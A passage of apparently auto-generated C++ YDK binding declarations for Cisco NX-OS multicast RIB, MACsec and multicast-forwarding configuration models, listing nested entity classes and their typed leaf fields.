System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems std::shared_ptr lispencap_items; std::shared_ptr oifmpib_items; }; // System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList class System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems : public ydk::Entity { public: LispencapItems(); ~LispencapItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class LispEncapList; //type: System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems::LispEncapList ydk::YList lispencap_list; }; // System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems class System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems::LispEncapList : public ydk::Entity { public: LispEncapList(); ~LispEncapList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf index_; //type: uint32 ydk::YLeaf srcrloc; //type: string ydk::YLeaf dstrloc; //type: string }; // System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems::LispEncapList class System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems : public ydk::Entity { public: OifmpibItems(); ~OifmpibItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OifMpibList; //type: System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems::OifMpibList ydk::YList oifmpib_list; }; // System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems class System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems::OifMpibList : public ydk::Entity { public: OifMpibList(); ~OifMpibList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf oifmpibname; //type: string ydk::YLeaf staleoif; //type: boolean ydk::YLeaf vpcsvi; //type: boolean }; // System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems::OifMpibList class System::M6ribItems::InstItems::DomItems : public ydk::Entity { public: DomItems(); ~DomItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class DomList; //type: System::M6ribItems::InstItems::DomItems::DomList ydk::YList dom_list; }; // System::M6ribItems::InstItems::DomItems class System::M6ribItems::InstItems::DomItems::DomList : public ydk::Entity { public: DomList(); ~DomList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string ydk::YLeaf mtu; //type: uint32 ydk::YLeaf autoenable; //type: boolean ydk::YLeaf lognbhchng; //type: boolean ydk::YLeaf flushroutes; //type: boolean ydk::YLeaf bfd; //type: boolean ydk::YLeaf jpdelay; //type: uint32 ydk::YLeaf regratelmt; //type: uint32 ydk::YLeaf rfcstrict; //type: boolean class ConfigItems; //type: System::M6ribItems::InstItems::DomItems::DomList::ConfigItems class RpfmeterItems; //type: System::M6ribItems::InstItems::DomItems::DomList::RpfmeterItems class LasthopmeterItems; //type: System::M6ribItems::InstItems::DomItems::DomList::LasthopmeterItems class EventhistItems; //type: System::M6ribItems::InstItems::DomItems::DomList::EventhistItems class LoglevelItems; //type: System::M6ribItems::InstItems::DomItems::DomList::LoglevelItems class NotifyItems; //type: System::M6ribItems::InstItems::DomItems::DomList::NotifyItems std::shared_ptr config_items; std::shared_ptr rpfmeter_items; std::shared_ptr lasthopmeter_items; std::shared_ptr eventhist_items; std::shared_ptr loglevel_items; std::shared_ptr notify_items; }; // System::M6ribItems::InstItems::DomItems::DomList class System::M6ribItems::InstItems::DomItems::DomList::ConfigItems : public ydk::Entity { public: ConfigItems(); ~ConfigItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf holdenable; //type: M6ribHoldAdminSt ydk::YLeaf holddown; //type: uint16 ydk::YLeaf compressbit; //type: boolean }; // System::M6ribItems::InstItems::DomItems::DomList::ConfigItems class System::M6ribItems::InstItems::DomItems::DomList::RpfmeterItems : public ydk::Entity { public: RpfmeterItems(); ~RpfmeterItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf hwdropall; //type: boolean ydk::YLeaf kbps; //type: uint32 ydk::YLeaf burstsize; //type: uint32 }; // System::M6ribItems::InstItems::DomItems::DomList::RpfmeterItems class System::M6ribItems::InstItems::DomItems::DomList::LasthopmeterItems : public ydk::Entity { public: LasthopmeterItems(); ~LasthopmeterItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf kbps; //type: uint32 ydk::YLeaf burstsize; //type: uint32 }; // System::M6ribItems::InstItems::DomItems::DomList::LasthopmeterItems class System::M6ribItems::InstItems::DomItems::DomList::EventhistItems : public ydk::Entity { public: EventhistItems(); ~EventhistItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class EventHistoryList; //type: System::M6ribItems::InstItems::DomItems::DomList::EventhistItems::EventHistoryList ydk::YList eventhistory_list; }; // System::M6ribItems::InstItems::DomItems::DomList::EventhistItems class System::M6ribItems::InstItems::DomItems::DomList::EventhistItems::EventHistoryList : public ydk::Entity { public: EventHistoryList(); ~EventHistoryList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: M6ribEhType ydk::YLeaf size; //type: uint32 }; // System::M6ribItems::InstItems::DomItems::DomList::EventhistItems::EventHistoryList class System::M6ribItems::InstItems::DomItems::DomList::LoglevelItems : public ydk::Entity { public: LoglevelItems(); ~LoglevelItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf level; //type: uint16 ydk::YLeaf type; //type: string }; // System::M6ribItems::InstItems::DomItems::DomList::LoglevelItems class System::M6ribItems::InstItems::DomItems::DomList::NotifyItems : public ydk::Entity { public: NotifyItems(); ~NotifyItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf interval; //type: uint16 }; // System::M6ribItems::InstItems::DomItems::DomList::NotifyItems class System::M6ribItems::InstItems::RoutedbItems : public ydk::Entity { public: RoutedbItems(); ~RoutedbItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class VrfItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems std::shared_ptr vrf_items; }; // System::M6ribItems::InstItems::RoutedbItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems : public ydk::Entity { public: VrfItems(); ~VrfItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class VrfList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList ydk::YList vrf_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList : public ydk::Entity { public: VrfList(); ~VrfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf cid; //type: uint32 ydk::YLeaf tableid; //type: string ydk::YLeaf totalnumroutes; //type: uint32 ydk::YLeaf totalnumgroups; //type: uint32 ydk::YLeaf stargroute; //type: uint32 ydk::YLeaf sgroute; //type: uint32 ydk::YLeaf stargprfx; //type: uint32 class GroupItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems std::shared_ptr group_items; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems : public ydk::Entity { public: GroupItems(); ~GroupItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class GroupList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList ydk::YList group_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList : public ydk::Entity { public: GroupList(); ~GroupList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf grpaddr; //type: string ydk::YLeaf grpmasklen; //type: uint32 ydk::YLeaf bidir; //type: boolean class SourceItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems std::shared_ptr source_items; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems : public ydk::Entity { public: SourceItems(); ~SourceItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class SourceList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList ydk::YList source_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList : public ydk::Entity { public: SourceList(); ~SourceList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf srcaddr; //type: string ydk::YLeaf pending; //type: boolean ydk::YLeaf uptime; //type: string ydk::YLeaf oifcount; //type: uint32 ydk::YLeaf statspkts; //type: uint32 ydk::YLeaf statsbytes; //type: uint32 ydk::YLeaf statsratebuf; //type: string ydk::YLeaf lispsrcrloc; //type: string ydk::YLeaf routeiif; //type: string ydk::YLeaf rpfnbr; //type: string ydk::YLeaf internal; //type: boolean ydk::YLeaf rpfnbruptime; //type: one of uint64, string ydk::YLeaf fabricoif; //type: boolean ydk::YLeaf fabricloser; //type: boolean ydk::YLeaf numvpcsvioifs; //type: uint32 ydk::YLeaf routemdtiod; //type: boolean ydk::YLeaf mdtencapindex; //type: uint32 class MpibItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems class OifItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems std::shared_ptr mpib_items; std::shared_ptr oif_items; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems : public ydk::Entity { public: MpibItems(); ~MpibItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class MpibList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems::MpibList ydk::YList mpib_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems::MpibList : public ydk::Entity { public: MpibList(); ~MpibList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf mpibname; //type: string ydk::YLeaf oifcount; //type: uint32 ydk::YLeaf staleroute; //type: boolean }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems::MpibList class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems : public ydk::Entity { public: OifItems(); ~OifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OifList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList ydk::YList oif_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList : public ydk::Entity { public: OifList(); ~OifList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf oifname; //type: string ydk::YLeaf oifuptime; //type: string ydk::YLeaf oifrpf; //type: boolean ydk::YLeaf oiflispencapentries; //type: uint32 class LispencapItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems class OifmpibItems; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems std::shared_ptr lispencap_items; std::shared_ptr oifmpib_items; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems : public ydk::Entity { public: LispencapItems(); ~LispencapItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class LispEncapList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems::LispEncapList ydk::YList lispencap_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems::LispEncapList : public ydk::Entity { public: LispEncapList(); ~LispEncapList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf index_; //type: uint32 ydk::YLeaf srcrloc; //type: string ydk::YLeaf dstrloc; //type: string }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems::LispEncapList class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems : public ydk::Entity { public: OifmpibItems(); ~OifmpibItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OifMpibList; //type: System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems::OifMpibList ydk::YList oifmpib_list; }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems class System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems::OifMpibList : public ydk::Entity { public: OifMpibList(); ~OifMpibList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf oifmpibname; //type: string ydk::YLeaf staleoif; //type: boolean ydk::YLeaf vpcsvi; //type: boolean }; // System::M6ribItems::InstItems::RoutedbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifmpibItems::OifMpibList class System::MacsecItems : public ydk::Entity { public: MacsecItems(); ~MacsecItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt class InstItems; //type: System::MacsecItems::InstItems std::shared_ptr inst_items; }; // System::MacsecItems class System::MacsecItems::InstItems : public ydk::Entity { public: InstItems(); ~InstItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string }; // System::MacsecItems::InstItems class System::McastfwdItems : public ydk::Entity { public: McastfwdItems(); ~McastfwdItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt ydk::YLeaf opererr; //type: string class InstItems; //type: System::McastfwdItems::InstItems std::shared_ptr inst_items; }; // System::McastfwdItems class System::McastfwdItems::InstItems : public ydk::Entity { public: InstItems(); ~InstItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string ydk::YLeaf opererr; //type: string ydk::YLeaf jpdelay; //type: uint32 ydk::YLeaf nrdelay; //type: uint16 ydk::YLeaf nrnumrt; //type: uint16 ydk::YLeaf regstop; //type: boolean class DomItems; //type: System::McastfwdItems::InstItems::DomItems class EventhistItems; //type: System::McastfwdItems::InstItems::EventhistItems class LoglevelItems; //type: System::McastfwdItems::InstItems::LoglevelItems class SwrepliItems; //type: System::McastfwdItems::InstItems::SwrepliItems std::shared_ptr dom_items; std::shared_ptr eventhist_items; std::shared_ptr loglevel_items; std::shared_ptr swrepli_items; }; // System::McastfwdItems::InstItems class System::McastfwdItems::InstItems::DomItems : public ydk::Entity { public: DomItems(); ~DomItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string ydk::YLeaf mtu; //type: uint32 ydk::YLeaf autoenable; //type: boolean ydk::YLeaf lognbhchng; //type: boolean ydk::YLeaf flushroutes; //type: boolean ydk::YLeaf bfd; //type: boolean ydk::YLeaf jpdelay; //type: uint32 ydk::YLeaf regratelmt; //type: uint32 ydk::YLeaf rfcstrict; //type: boolean }; // System::McastfwdItems::InstItems::DomItems class System::McastfwdItems::InstItems::EventhistItems : public ydk::Entity { public: EventhistItems(); ~EventhistItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string 